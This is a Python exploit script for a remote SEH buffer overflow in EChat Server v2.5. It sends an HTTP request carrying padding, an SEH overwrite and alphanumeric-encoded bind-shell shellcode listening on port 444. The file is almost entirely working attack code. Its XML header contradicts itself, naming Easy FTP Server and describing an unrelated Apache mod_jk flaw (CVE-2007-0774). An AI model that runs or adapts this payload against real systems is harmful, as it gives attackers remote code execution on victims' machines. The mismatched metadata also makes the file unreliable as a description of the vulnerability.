"""
<?xml version="1.0" encoding="UTF-8"?>
<Module>

   <Exploit Name="Easy FTP Server" Type="Remote" RemotePort="80" LocalPort="null" ShellPort="8888" Vulnerability="2007-0774" Author="Unhope - unhope@chroot.org">
   </Exploit>

   <Information>
      Stack-based buffer overflow in the map_uri_to_worker function (native/common/jk_uri_worker_map.c) in mod_jk.so for Apache
      Tomcat JK Web Server Connector 1.2.19 and 1.2.20, as used in Tomcat 4.1.34 and 5.5.20, allows remote attackers to execute
      arbitrary code via a long URL that triggers the overflow in a URI worker map routine.
   </Information>

   <Targets>
      Apache/2.0.58 (Win32) mod_jk/1.2.19 - Apache/2.0.59 (Win32) mod_jk/1.2.19
   </Targets>

</Module>
"""

import string, sys
import socket, httplib
import telnetlib

def run():
   try:
     # Basic structure: JUNK + NSEH + SEH + SHELLCODE
     Junk = '\x41' * 216 # 216 bytes of A
     nSEH = '\xEB\x06\x90\x90' # JMP 6 bytes short
     SEH = '\xE1\xB2\x01\x10' # 0x1001b2e1 pop edi; pop esi; ret

     # ShellCode Bind TCP PORT 444 Lenght 751 Encode : Alpha Upper
     ShellCode = (
     "\x89\xe1\xd9\xed\xd9\x71\xf4\x5f\x57\x59\x49\x49\x49\x49\x43"
     "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
     "\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
     "\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
     "\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48\x4b\x39\x43\x30"
     "\x45\x50\x45\x50\x43\x50\x4c\x49\x4b\x55\x50\x31\x4e\x32\x45"
     "\x34\x4c\x4b\x50\x52\x50\x30\x4c\x4b\x56\x32\x54\x4c\x4c\x4b"
     "\x50\x52\x52\x34\x4c\x4b\x54\x32\x47\x58\x54\x4f\x4e\x57\x51"
     "\x5a\x56\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e\x4c\x47\x4c"
     "\x45\x31\x43\x4c\x43\x32\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54"
     "\x4d\x45\x51\x58\x47\x5a\x42\x4c\x30\x51\x42\x56\x37\x4c\x4b"
     "\x56\x32\x52\x30\x4c\x4b\x50\x42\x47\x4c\x45\x51\x58\x50\x4c"
     "\x4b\x47\x30\x54\x38\x4d\x55\x49\x50\x52\x54\x51\x5a\x45\x51"
     "\x4e\x30\x56\x30\x4c\x4b\x50\x48\x54\x58\x4c\x4b\x56\x38\x51"
     "\x30\x45\x51\x58\x53\x5a\x43\x47\x4c\x51\x59\x4c\x4b\x56\x54"
     "\x4c\x4b\x45\x51\x49\x46\x50\x31\x4b\x4f\x50\x31\x49\x50\x4e"
     "\x4c\x49\x51\x58\x4f\x54\x4d\x45\x51\x58\x47\x56\x58\x4d\x30"
     "\x54\x35\x5a\x54\x54\x43\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x47"
     "\x54\x52\x55\x4d\x32\x50\x58\x4c\x4b\x51\x48\x51\x34\x43\x31"
     "\x4e\x33\x43\x56\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x56\x38\x45"
     "\x4c\x45\x51\x58\x53\x4c\x4b\x43\x34\x4c\x4b\x45\x51\x4e\x30"
     "\x4c\x49\x50\x44\x56\x44\x56\x44\x51\x4b\x51\x4b\x45\x31\x51"
     "\x49\x50\x5a\x50\x51\x4b\x4f\x4d\x30\x56\x38\x51\x4f\x50\x5a"
     "\x4c\x4b\x54\x52\x5a\x4b\x4b\x36\x51\x4d\x52\x48\x56\x53\x47"
     "\x42\x43\x30\x45\x50\x43\x58\x43\x47\x43\x43\x47\x42\x51\x4f"
     "\x56\x34\x52\x48\x50\x4c\x52\x57\x56\x46\x45\x57\x4b\x4f\x4e"
     "\x35\x4e\x58\x5a\x30\x45\x51\x43\x30\x45\x50\x51\x39\x4f\x34"
     "\x51\x44\x56\x30\x52\x48\x51\x39\x4d\x50\x52\x4b\x45\x50\x4b"
     "\x4f\x4e\x35\x56\x30\x56\x30\x50\x50\x50\x50\x47\x30\x50\x50"
     "\x47\x30\x50\x50\x52\x48\x5a\x4a\x54\x4f\x49\x4f\x4d\x30\x4b"
     "\x4f\x49\x45\x4d\x59\x58\x47\x50\x31\x49\x4b\x56\x33\x52\x48"
     "\x43\x32\x43\x30\x54\x51\x51\x4c\x4b\x39\x4d\x36\x43\x5a\x54"
     "\x50\x56\x36\x50\x57\x52\x48\x49\x52\x49\x4b\x56\x57\x43\x57"
     "\x4b\x4f\x58\x55\x50\x53\x56\x37\x52\x48\x4f\x47\x4b\x59\x50"
     "\x38\x4b\x4f\x4b\x4f\x49\x45\x51\x43\x51\x43\x51\x47\x43\x58"
     "\x43\x44\x5a\x4c\x47\x4b\x4b\x51\x4b\x4f\x49\x45\x51\x47\x4c"
     "\x49\x4f\x37\x52\x48\x52\x55\x52\x4e\x50\x4d\x45\x31\x4b\x4f"
     "\x4e\x35\x45\x38\x45\x33\x52\x4d\x45\x34\x45\x50\x4c\x49\x5a"
     "\x43\x51\x47\x51\x47\x51\x47\x50\x31\x5a\x56\x52\x4a\x45\x42"
     "\x51\x49\x56\x36\x4d\x32\x4b\x4d\x45\x36\x4f\x37\x51\x54\x51"
     "\x34\x47\x4c\x43\x31\x43\x31\x4c\x4d\x47\x34\x56\x44\x54\x50"
     "\x49\x56\x45\x50\x51\x54\x51\x44\x50\x50\x50\x56\x56\x36\x56"
     "\x36\x47\x36\x51\x46\x50\x4e\x51\x46\x50\x56\x56\x33\x51\x46"
     "\x43\x58\x52\x59\x58\x4c\x47\x4f\x4c\x46\x4b\x4f\x58\x55\x4c"
     "\x49\x4b\x50\x50\x4e\x51\x46\x47\x36\x4b\x4f\x56\x50\x45\x38"
     "\x54\x48\x4d\x57\x45\x4d\x43\x50\x4b\x4f\x49\x45\x4f\x4b\x4b"
     "\x4e\x54\x4e\x50\x32\x4b\x5a\x52\x48\x4e\x46\x4c\x55\x4f\x4d"
     "\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x54\x46\x43\x4c\x45\x5a\x4b"
     "\x30\x4b\x4b\x4b\x50\x54\x35\x43\x35\x4f\x4b\x47\x37\x45\x43"
     "\x52\x52\x52\x4f\x43\x5a\x45\x50\x51\x43\x4b\x4f\x4e\x35\x41"
     "\x41")

     CraftedBuffer = Junk + nSEH + SEH + ShellCode
     vulnerableURL = '/chat.ghp?username=' + CraftedBuffer + '&password=null&room=1&null=2'

     Connection = httplib.HTTPConnection(Host, Port)
     Connection.request('GET', vulnerableURL)
     Connection.close()

   except:
     print "Exploit connection closed"

if __name__ == '__main__':
   print "Exploit EChat Server <= v2.5 Remote Buffer Overflow Exploit"
   print "Author: Juan Sacco (Runlvl)"

   try:
     Host = sys.argv[1]
     Port = sys.argv[2]
   except IndexError:
     pass
run()